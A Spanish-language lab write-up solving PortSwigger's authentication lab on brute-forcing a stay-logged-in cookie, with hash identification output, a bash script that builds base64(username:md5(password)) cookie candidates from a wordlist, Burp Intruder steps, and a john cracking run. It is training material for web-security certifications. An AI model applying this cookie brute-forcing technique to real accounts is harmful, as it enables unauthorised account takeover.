Authentication Lab 9
Skills
- Brute-forcing a stay-logged-in cookie
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Para resolver
el laboratorio
, debemos realizar
un ataque
de fuerza bruta
sobre la cookie
de Carlos para acceder
a Mi account
. Podemos usar nuestras credenciales wiener:peter
para iniciar sesión, el nombre de usuario
de la víctima
es carlos
y podemos usar el diccionario Candidate passwords
https://portswigger.net/web-security/authentication/auth-lab-passwords para bruteforcear
la contraseña
Resolución
Al acceder
a la web
nos sale esto
Pulsamos sobre My account
, nos logueamos
usando las credenciales wiener:peter
y marcamos la casilla de Stay logged in
En el caso de que introdujésemos dos veces
la contraseña incorrecta
nos bloquearía
y deberíamos esperar 1 minuto
para volver a intentar introducir
las credenciales
Rellenamos
el campo Email
, pulsamos
en Update email
y capturamos
la petición
con Burpsuite
Si nos fijamos bien el campo stay-logged-in
de la cookie
está compuesto
por el nombre
de usuario
y la contraseña
Identificamos
el tipo
de hash
con el que se cifra
la contraseña
, para ello podemos usar webs
como https://hashes.com/en/tools/hash_identifier
Otra opción sería usar herramientas
como hash-identifier
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: 51dc30ddc473d43a6011e9ebba6ca770
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)
[+] MD2(HMAC)
[+] MD5(HMAC(Wordpress))
[+] Haval-128
[+] Haval-128(HMAC)
[+] RipeMD-128
[+] RipeMD-128(HMAC)
[+] SNEFRU-128
[+] SNEFRU-128(HMAC)
[+] Tiger-128
[+] Tiger-128(HMAC)
[+] md5($pass.$salt)
[+] md5($salt.$pass)
[+] md5($salt.$pass.$salt)
[+] md5($salt.$pass.$username)
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($salt.$pass))
[+] md5($salt.md5(md5($pass).$salt))
[+] md5($username.0.$pass)
[+] md5($username.LF.$pass)
[+] md5($username.md5($pass).$salt)
[+] md5(md5($pass))
[+] md5(md5($pass).$salt)
[+] md5(md5($pass).md5($salt))
[+] md5(md5($salt).$pass)
[+] md5(md5($salt).md5($pass))
[+] md5(md5($username.$pass).$salt)
[+] md5(md5(md5($pass)))
[+] md5(md5(md5(md5($pass))))
[+] md5(md5(md5(md5(md5($pass)))))
[+] md5(sha1($pass))
[+] md5(sha1(md5($pass)))
[+] md5(sha1(md5(sha1($pass))))
[+] md5(strtoupper(md5($pass)))
--------------------------------------------------
Para confirmar
que es MD5
usamos este comando y vemos que ambos hashes coinciden
1
2
# echo -n 'peter' | md5sum | awk '{print $1}'
51dc30ddc473d43a6011e9ebba6ca770
Vemos que podemos eliminar
el parámetro session
y el servidor nos asigna
una cookie
de acuerdo al parámetro stay-logged-in
Si intentamos acceder a /my-account?id=carlos
con el y el stay-logged-in
tiene las credenciales incorrectas
nos hará un redirect
a /login
. Sin embargo, si lo hacemos con las credenciales correctas
nos devolverá
un 200 OK
y no habrá ningún redirect, podemos usar esto para bruteforcear
la contraseña
del usuario carlos
y acceder
a su cuenta
Para crear
este valor
de la cookie
vamos a usar el diccionario Candidate passwords
https://portswigger.net/web-security/authentication/auth-lab-passwords y este script
en bash
1
2
3
4
5
6
7
8
9
#!/bin/bash
while IFS= read -r line
do
username="carlos"
md5_hashed_password=$(echo -n "$line" | md5sum | awk '{print $1}')
base64_hashed_password="$username:$md5_hashed_password"
echo -n "$base64_hashed_password" | base64 >> hashed_passwords.txt
done < "passwords.txt"
Mandamos
la petición
al Intruder
y ahí marcamos
el campo
de la cookie
a bruteforcear
Cargamos
el diccionario
creado
Otra forma de bruteforcear
sería usando las contraseñas
de Candidate passwords
https://portswigger.net/web-security/authentication/auth-lab-passwords y luego procesar
el payload
con Burpsuite
Si la contraseña
es la correcta
nos devuelve
el código de estado 200
, así que filtramos
por código
de estado
y obtenemos
el hash
Obtenemos
la contraseña
del usuario carlos
1
2
# echo 'Y2FybG9zOjkxY2IzMTVhNjQwNWJmY2MzMGUyYzQ1NzFjY2ZiOGNl' | base64 -d
carlos:91cb315a6405bfcc30e2c4571ccfb8ce
El payload
usado para la petición
es el número 83
, por lo tanto podemos usar awk
para obtener
esa línea
del diccionario
de contraseñas
1
2
# awk 'NR==83' passwords.txt
chelsea
Otra forma sería creando
un archivo
con el hash 91cb315a6405bfcc30e2c4571ccfb8ce
en su interior y bruteforcearlo
con john
1
2
3
4
5
6
7
8
9
10
# john --format=raw-MD5 -w passwords.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
chelsea (?)
1g 0:00:00:00 DONE (2025-01-29 11:40) 100.0g/s 38400p/s 38400c/s 38400C/s 123456..larry
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Iniciamos sesión
en la cuenta
de carlos